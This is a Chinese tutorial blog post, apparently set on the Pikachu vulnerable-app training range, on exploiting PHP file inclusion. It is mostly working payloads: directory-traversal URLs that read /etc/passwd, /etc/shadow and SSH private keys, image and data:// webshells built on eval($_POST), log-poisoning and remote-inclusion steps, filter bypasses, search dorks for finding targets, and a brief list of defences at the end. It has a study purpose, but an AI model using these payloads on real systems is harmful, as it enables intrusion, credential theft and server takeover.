pikachu文件包含漏洞

一:漏洞基础

程序在引用文件的时,引用的文件名存在可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入;

文件包含漏洞概念

在PHP程序中使用文件包含的对象可以被前端的用户控制且没有经过过滤或严格的定义,用户可以将其他的
文件作为参数带入到PHP代码中解释执行,从而造成敏感信息泄露/程序文件读取/GetShell等危害的漏
洞

1.1:高危函数

require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件,而 include() 只有程序执行到该函数时才调用 。其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、fopen()、file()

文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!

1.2:源码分析

# 漏洞解析
$_GET['filename'] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include
包含这个文件,引入到当前文件中,因此会造成文件包含漏洞;
# 文件包含
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
# 注解
../是上一级路径,如果存在漏洞文件又存在的时候,不是 php 文件会被读取显示在页面中;

二:漏洞利用

文件包含漏洞分为本地文件包含漏洞(Local File include,LFI)与远程文件包含漏洞(Remote Fileinclude,RFI);

本地包含文件即被包含的文件在本地中,可通过读取系统存在的文件获取信息/上传图片GetShell/包含

2.1:本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !

包含条件: 用户可以动态控制变量!

包含常用路径
# 日志文件包含GetShell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
# 读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
# Windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息
C:/Windows/win.ini // 配置信息
# Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
# Payload
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
/fi_local.php?filename=../../../../etc/passwd&submit=提交查询
# 相关靶场
http://123.206.127.23:8080 //Linux主机
包含图片GetShel
步骤一:先制作图片马
copy 1.jpg/b + 1.php/a 2.jpg

步骤二:通过文件上传模块上传一张GIF图片并获取其地址...如下
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.jpg
步骤三:在文件包含页面进行文件包含...并GetShell
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../info.jpg&submit=提交查询

蚁剑连接

步骤四:讲如下代码写入到图片马中并再次上传,并进行文件包含操作...
一句话木马
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
包含执行
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/4.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A
5%E8%AF%A2

步骤四:进行文件包含后会在漏洞的当前目录下产生 shell.php 后面文件访问并连接...
127.0.0.1/pikachu/vul/fileinclude/shell.php

到指定目录下查看是否上传成功

蚁剑链接

包含日志GetShel

中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是windows 环境下是可以权限是允许的;

# 获取Apache日志路径
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf
# 日志文件位置
phpstudy_pro\Extensions\Apache2.4.39\logs
/var/log/apache2/access.log
# Apache产生的日志文件
/Apache/logs/
-access.log #记录前端用户的访问日志
-error.log #记录Apache运行报错的记录
步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;

# 漏洞代码

<?php

include $_GET['file'];

?>

# 日志文件

C:\phpStudy\PHPTutorial\Apache\logs\access.log

E:/uninstall/phpstudy_pro/Extensions/Nginx1.15.11/logs/localhost_acess.log

# 遇到问题

发现logs文件夹里面只有error.log且没有access.log修改httpd.

#CustomLog "logs/access.log" common 去掉前面这个#号

步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把 <> 编码,可以使用burp绕过;

改成

步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../Extensions/Nginx1.15.11/logs/access.log&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

TIPS: 日志包含的时候,往往在日志文件之前有一些个错误,那么你再怎么努力也无济于事!!!日志文件往往是按天会生成新的文件。(凌晨的成功率较高)

PHP伪协议
<?php
include $_GET['file'];
?>

PHP 伪协议事实上就是支持的协议 封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect://
1. php.ini参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen 、 allow_url_include ;

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;

allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

各协议的利用条件和方法:

2. file://协议
使用:file://文件的绝对路径和文件名
举例:
/lfi.php?file=file://c:\windows\system32\drivers\etc\hosts
/lfi.php?file=file://c:\windows\win.ini

3. php://filter协议
用途:常用于读取文件/源码
使用:?path=php://filter/read=convert.base64-encode/resource=文件.php
注意:通过指定末尾的文件,可以读取经 base64 加密后的文件源码 ,之后再 base64 解码,虽然不
能直接获取到 shell,但能读取敏感文件 。
php://filter 协议与 file:// 协议的区别:file 协议只能使用 绝对路径 ,filter 协议相对
路径和绝对路径 都可以使用
举例:
/lfi.php?file=php://filter/read=convert.base64-encode/resource=123.php
/lfi.php?file=php://filter/read=convert.base64-
encode/resource=c:\windows\win.ini
是在尝试通过 PHP 的过滤器来读取并以 Base64 编码的方式获取资源“c:\windows\win.ini”的内容。

4. php://input协议

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入

的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行

时会将 post 内容当作文件内容;

注:当 enctype="multipart/form-data",php://input 是无效的;

php.ini 条件是 allow_url_fopen =ON allow_url_include=ON;

设置请求为 post 请求 在正文输入 php 代码提交即可允许;

5. data://

data://text/plain,(php代码)

?file=data://text/plain,

使用条件:
allow_url_fopen = on
allow_url_include = on
使用举例:
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
webshell构造:
URL: ?file=data://text/plain,<?php eval($_POST[1])?>
Webshell密码: 1

6. zip://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
使用举例:
zip://[压缩文件绝对/相对路径]#[压缩文件内的子文件名](#编码为%23)
lfi.php?file=zip://E:/xxx.zip%23xxx.png

7. phar://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
举例:
/lfi.php?file=phar://E:/xxx.zip/xxx.png
其他类似协议:
bzip2://
zlib://

2.2:远程文件包含(RFI)

当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON ** 两个条件同时为 On 允许远程包含文件**; 
---》phpinfo() l.php/info.php
步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问...
<?php phpinfo();@eval($_POST[1]);?>

步骤二:访问 lfi.php?file=[http://127.0.0.1/1.txt](http://127.0.0.1/1.txt)

2.3:文件包含限制绕过
<?php
$file = $_GET["file"];
include $file.".txt";
highlight_file(__FILE__);
?>
方法一:00截断
条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4
获取 phpinfo.php 文件

方法二:路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,
导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

方法三:问号绕过
payload:1.php?file=http://127.0.0.1/1.txt?

方法四:#绕过
payload:1.php?file=http://127.0.0.1/1.txt%23

方法五:空格绕过
payload:
1.php?file=http://127.0.0.1/1.txt%20
1.php?file=http://127.0.0.1/1.txt+
1.php?file=http://127.0.0.1/1.txt abc

方法六:编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用URL编码绕过

%2e%2e%2f === ../
%2e%2e%5c === ..\
%2e = .
%2f = /
%5c = \

二次URL编码

%252e%252e%252f%252e%252e%252f ---> 服务器接收解码一次 %2e%2f

三:挖掘防护

# 挖掘姿势
inurl:/.php?incluede=
inurl:/.PHP?file=
inurl:/.php?page=
# 易受本地文件包含 (LFI) 漏洞影响的前 25 个参数的列表
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
# 漏洞防护
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是
否可被外部控制;
2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php');
5. 设置 allow_url_include 为 Off ;
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值